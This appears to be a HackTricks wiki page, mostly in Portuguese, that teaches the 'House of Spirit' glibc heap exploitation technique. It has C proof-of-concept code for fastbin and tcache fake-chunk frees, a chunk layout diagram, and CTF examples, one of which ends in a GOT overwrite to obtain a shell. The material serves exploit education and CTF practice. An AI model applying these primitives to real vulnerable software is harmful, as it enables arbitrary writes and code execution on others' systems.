House of Spirit

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

Código

House of Spirit ```c #include #include #include #include

// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };

int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;

ptr = malloc(0x30);

printf(“Original alloc address: %p\n”, ptr); printf(“Main fake chunk:%p\n”, &fake_chunks[0]); printf(“Second fake chunk for size: %p\n”, &fake_chunks[1]);

// Passes size check of “free(): invalid size” fake_chunks[0].size = sizeof(struct fast_chunk);

// Passes “free(): invalid next size (fast)” fake_chunks[1].size = sizeof(struct fast_chunk);

// Attacker overwrites a pointer that is about to be ‘freed’ // Point to .fd as it’s the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;

free(ptr);

victim = malloc(0x30); printf(“Victim: %p\n”, victim);

return 0; }

</details>

### Objetivo

- Ser capaz de inserir no tcache / fast bin um endereço para que depois seja possível alocá-lo

### Requisitos

- Este ataque requer que o atacante seja capaz de criar um par de fake fast chunks indicando corretamente o valor do campo size e então conseguir dar free no primeiro fake chunk para que ele vá para o bin.
- Com **tcache (glibc ≥2.26)** o ataque é ainda mais simples: apenas um fake chunk é necessário (nenhuma verificação de tamanho do next-chunk é feita no caminho do tcache) desde que o fake chunk esteja alinhado a 0x10 e seu campo size caia em um tcache bin válido (0x20-0x410 em x64).

### Attack

- Criar fake chunks que contornem as verificações de segurança: você precisará basicamente de 2 fake chunks indicando nas posições corretas os tamanhos corretos
- De alguma forma conseguir dar free no primeiro fake chunk para que ele entre no fast ou tcache bin e então alocá-lo para sobrescrever aquele endereço

**The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Although this schema from the code summarises it pretty good:

<details>
<summary>Layout do fake chunk</summary>
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64

+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size      | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content   | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size      | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content   | 0x00 |
+-------+---------------------+------+

for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/

Tip

Observe que é necessário criar o segundo chunk para contornar algumas verificações de sanidade.

Tcache house of spirit (glibc ≥2.26)

  • No glibc moderno o tcache fast-path chama tcache_put antes de validar o tamanho do próximo chunk/prev_inuse, então apenas o chunk falso atual precisa parecer legítimo.
  • Requisitos:
  • O chunk falso deve estar alinhado a 16 bytes e não estar marcado IS_MMAPPED/NON_MAIN_ARENA.
  • size deve pertencer a um tcache bin e incluir o bit prev_inuse definido (size | 1).
  • O tcache para esse bin não deve estar cheio (máximo padrão 7 entradas).
  • PoC mínimo (stack chunk):
unsigned long long fake[6] __attribute__((aligned(0x10)));
// chunk header at fake[0]; usable data starts at fake+2
fake[1] = 0x41;              // fake size (0x40 bin, prev_inuse=1)
void *p = &fake[2];          // points inside fake chunk
free(p);                     // goes straight into tcache
void *q = malloc(0x30);      // returns stack address fake+2
  • Safe-linking is not a barrier here: o ponteiro forward armazenado no tcache é automaticamente codificado como fd = ptr ^ (heap_base >> 12) durante free, então o atacante não precisa conhecer a chave ao usar um único fake chunk.
  • Esta variante é útil quando os hooks do glibc foram removidos (≥2.34) e você quer uma escrita arbitrária rápida ou sobrepor um buffer alvo (por exemplo, stack/BSS) com um tcache chunk sem criar corrupções adicionais.

Examples

  • CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html

  • Libc infoleak: Via um overflow é possível alterar um ponteiro para apontar para um endereço da GOT para fazer leak de um endereço libc via a ação de read do CTF

  • House of Spirit: Abusando de um contador que conta o número de “rifles” é possível gerar um fake size do primeiro fake chunk, então, abusando de uma “message” é possível falsificar o segundo size de um chunk e finalmente, abusando de um overflow, é possível alterar um ponteiro que vai ser freed para que nosso primeiro fake chunk seja freed. Then, we can allocate it and inside of it there is going to be the address to where “message” is stored. Then, it’s possible to make this point to the scanf entry inside the GOT table, so we can overwrite it with the address to system.
    Next time scanf is called, we can send the input "/bin/sh" and get a shell.

  • Gloater. HTB Cyber Apocalypse CTF 2024

  • Glibc leak: Buffer de stack não inicializado.

  • House of Spirit: Podemos modificar o primeiro índice de um array global de ponteiros do heap. Com uma modificação de um único byte, usamos free em um fake chunk dentro de um chunk válido, de modo que obtemos uma situação de chunks overlapping após alocar novamente. Com isso, um simples Tcache poisoning attack funciona para obter uma primitiva de escrita arbitrária.

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks